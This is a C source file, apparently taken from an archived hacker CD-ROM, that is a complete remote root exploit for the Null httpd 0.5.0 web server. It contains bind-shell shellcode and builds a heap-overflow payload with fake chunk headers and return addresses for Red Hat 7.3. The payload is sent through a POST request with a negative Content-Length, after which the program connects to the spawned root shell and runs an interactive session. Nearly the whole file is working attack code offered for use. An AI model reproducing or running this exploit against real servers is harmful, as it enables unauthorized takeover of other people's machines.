home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / bakkum / bakkum.c
Encoding:
C/C++ Source or Header  |  2002-10-21  |  7.9 KB  |  245 lines
  1. /*           _ ________            _____                        ______
  2.     __ ___ ____       /____.------`    /_______.------.___.----`  ___/____ _______
  3.          _/    \ _   /\   __.  __//   ___/_    ___.  /_\    /_    |     _/
  4.    ___ ._\    . \\  /__  _____/ _    /     \_  |    /__      |   _| slc | _____ _
  5.       - -------\______||--._____\---._______//-|__    //-.___|----._____||
  6.                            / \   /
  7.                                                    \/
  8.  "If we knew what it was we were doing, it would not be called research, would it?" 
  9.  ----------------------------------------------------------------------------------
  10.  Remote Null httpd 0.5.0 root exploit        by eSDee of Netric (www.netric.org|be)
  11.  Full advisory available at: http://www.netric.org/advisories/netric-adv009.txt 
  12.  
  13. */
  14.  
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <netdb.h>
  18. #include <sys/types.h>
  19. #include <sys/socket.h>
  20. #include <netinet/in.h>
  21. #include <string.h>
  22. #include "getopt.h"
  23.  
  24. struct {
  25.         char *type;
  26.         unsigned int retloc;
  27.         unsigned int ret;
  28.  
  29. } targets[] = { /* Thanks tozz ;) */
  30.         { "Null httpd 0.5.0 (Redhat 7.3)", 0x0804f334, 0x0804fbd1 },
  31.         { "Crash         (All platforms)", 0xb0efb0ef, 0xb0efb0ef },
  32. };
  33.  
  34. char shellcode[] = /* shellcode by R00T-dude (ilja@netric.org) */
  35.         "\xeb\x0a--netric--"
  36.         "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\xb1\x06\x51"
  37.         "\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd\x80\xb3\x02\xb1\x02\x31"
  38.         "\xc9\x51\x51\x51\x80\xc1\x77\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24"
  39.         "\xb2\x10\x52\x51\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80"
  40.         "\xb3\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03\xcd\x80"
  41.         "\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0\x66\xcd\x80\x89\xc3"
  42.         "\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd\x80\x41"
  43.         "\x31\xc0\xb0\x3f\xcd\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f"
  44.         "\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c\x24"
  45.         "\x31\xc0\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
  46.  
  47. int sock;
  48.  
  49. void shell();
  50. void usage();
  51.  
  52. void usage(char *prog)
  53. {
  54.         fprintf(stderr,"Usage: %s <-h host> <-t type> [-p port]\n", prog);
  55.         exit(1);
  56. }
  57.  
  58. void shell()
  59. {
  60.         fd_set  fd_read;
  61.         char buff[1024], *cmd="/bin/uname -a;/usr/bin/id;\n";
  62.         int n;
  63.  
  64.         FD_ZERO(&fd_read);
  65.         FD_SET(sock, &fd_read);
  66.         FD_SET(0, &fd_read);
  67.  
  68.         send(sock, cmd, strlen(cmd), 0);
  69.         while(1) {
  70.                 FD_SET(sock,&fd_read);
  71.                 FD_SET(0,&fd_read);
  72.                 if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
  73.                 if( FD_ISSET(sock, &fd_read) ) {
  74.                         if((n=recv(sock,buff,sizeof(buff),0))<0){
  75.                                 fprintf(stderr, "EOF\n");
  76.                                 exit(2);
  77.                         }
  78.                         if(write(1,buff,n)<0)break;
  79.                 }
  80.  
  81.                 if ( FD_ISSET(0, &fd_read) ) {
  82.                         if((n=read(0,buff,sizeof(buff)))<0){
  83.                                 fprintf(stderr,"EOF\n");
  84.                                 exit(2);
  85.                         }
  86.                         if(send(sock,buff,n,0)<0) break;
  87.                 }
  88.                 usleep(10);
  89.                 }
  90.         fprintf(stderr,"Connection lost.\n\n");
  91.         exit(0);
  92. }
  93.  
  94. int
  95. openhost(char *host,int port)
  96. {
  97.         struct sockaddr_in addr;
  98.         struct hostent *he;
  99.  
  100.         he=gethostbyname(host);
  101.  
  102.         if (he==NULL) return -1;
  103.         sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
  104.         if (sock==-1) return -1;
  105.  
  106.         memcpy(&addr.sin_addr, he->h_addr, he->h_length);
  107.  
  108.         addr.sin_family=AF_INET;
  109.         addr.sin_port=htons(port);
  110.  
  111.         if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) sock=-1;
  112.         return sock;
  113. }
  114.  
  115. int
  116. exploit(char *host, int port, int type)
  117. {
  118.         char sendbuf[500];
  119.         char buffer[377];
  120.         int i=0;
  121.         int sock2;
  122.  
  123.         sock=openhost(host, port);
  124.  
  125.         if (sock==-1) {
  126.                 fprintf(stderr,"Unable to connect.\n\n");
  127.                 exit(1);
  128.         }
  129.  
  130.         fprintf(stdout, "Attacking (%s) ...\n", host);
  131.     memset(buffer, 0xbf, sizeof(buffer) - 1);
  132.  
  133.     for(i=0;i<376;i=i+4) 
  134.     {
  135.         buffer[i]   = 0xbf; /* must be a valid pointer */
  136.         buffer[i+1] = 0xff;
  137.         buffer[i+2] = 0xb0;
  138.         buffer[i+3] = 0xef;
  139.     }
  140.  
  141.         memcpy(buffer, shellcode, strlen(shellcode));
  142.  
  143.         buffer[359] = 0xff; /* prev_size */
  144.         buffer[360] = 0xff;
  145.         buffer[361] = 0xff;
  146.         buffer[362] = 0xff;
  147.  
  148.         buffer[363] = 0xfc; /* size field */
  149.         buffer[364] = 0xff;
  150.         buffer[365] = 0xff;
  151.         buffer[366] = 0xff;
  152.  
  153.         buffer[368] = (targets[type - 1].retloc & 0x000000ff); /* FD */
  154.         buffer[369] = (targets[type - 1].retloc & 0x0000ff00) >> 8;
  155.         buffer[370] = (targets[type - 1].retloc & 0x00ff0000) >> 16;
  156.         buffer[371] = (targets[type - 1].retloc & 0xff000000) >> 24;
  157.  
  158.         buffer[372] = (targets[type - 1].ret & 0x000000ff); /* BK */
  159.         buffer[373] = (targets[type - 1].ret & 0x0000ff00) >> 8;
  160.         buffer[374] = (targets[type - 1].ret & 0x00ff0000) >> 16;
  161.         buffer[375] = (targets[type - 1].ret & 0xff000000) >> 24;
  162.  
  163.         buffer[376] = 0x0;
  164.  
  165.         snprintf(sendbuf, sizeof(sendbuf) -1, "POST / HTTP/1.0\n"
  166.                                               "Content-Length: -800\n"
  167.                                               "\n\n%s\n",buffer);
  168.  
  169.         write(sock, sendbuf, strlen(sendbuf));
  170.  
  171.         sleep(4);
  172.         close(sock);
  173.  
  174.         sock=openhost(host, 30464);
  175.         if (sock==-1) {
  176.                 fprintf(stderr,"Failed.\n\n");
  177.                 exit(1);
  178.         }
  179.  
  180.     fprintf(stdout, "Exploit successful!\n");
  181.         fprintf(stdout, "------------------------------------------------------------------\n");
  182.         shell(sock);
  183.         close(sock);
  184.         return 0;
  185. }
  186.  
  187. int
  188. main (int argc,char *argv[])
  189. {
  190.         char host[256];
  191.         int i,opt,type=0,port=80;
  192.  
  193.         fprintf(stdout,"Null httpd 0.5.0 remote root exploit            by eSDee of Netric\n");
  194.         fprintf(stdout,"--------------------------------------------------(www.netric.org)\n");
  195.  
  196.         memset(host, 0x0, sizeof(host));
  197.  
  198.         while((opt=getopt(argc,argv,"h:p:t:")) !=EOF)
  199.         {
  200.                 switch(opt)
  201.                 {
  202.                         case 'h':
  203.                                 strncpy(host, optarg, sizeof(host) - 1);
  204.                                 break;
  205.                         case 'p':
  206.                                 port=atoi(optarg);
  207.                                 if ((port <= 0) || (port > 65535)) {
  208.                                         fprintf(stderr,"Invalid port.\n\n");
  209.                                         return -1;
  210.                                 }
  211.                                 break;
  212.                         case 't':
  213.                                 type=atoi(optarg);
  214.                                 if (type == 0 || type > sizeof(targets)/12) {
  215.                                         for(i = 0; i < sizeof(targets)/12; i++)
  216.                                                 fprintf(stderr, "%d. %s\t (0x%08x - 0x%08x)\n",
  217.                                                                 i + 1,
  218.                                                                 targets[i].type,
  219.                                                                 targets[i].ret,targets[i].retloc);
  220.                                         fprintf(stderr, "\n");
  221.                                         return -1;
  222.                                 }
  223.                                 break;
  224.                         default:
  225.                                 usage(argv[0]);
  226.                                 break;
  227.                 }
  228.  
  229.         }
  230.  
  231.         if (strlen(host) == 0) usage(argv[0]);
  232.  
  233.         if (!type) {
  234.                 fprintf(stderr, "No target given, use -t0 for a list.\n\n");
  235.                 return -1;
  236.         }
  237.  
  238.         if (exploit(host, port, type) < 0) {
  239.                 fprintf(stderr, "Failed.\n\n");
  240.                 return -1;
  241.         }
  242.  
  243.         return 0;
  244. }
  245.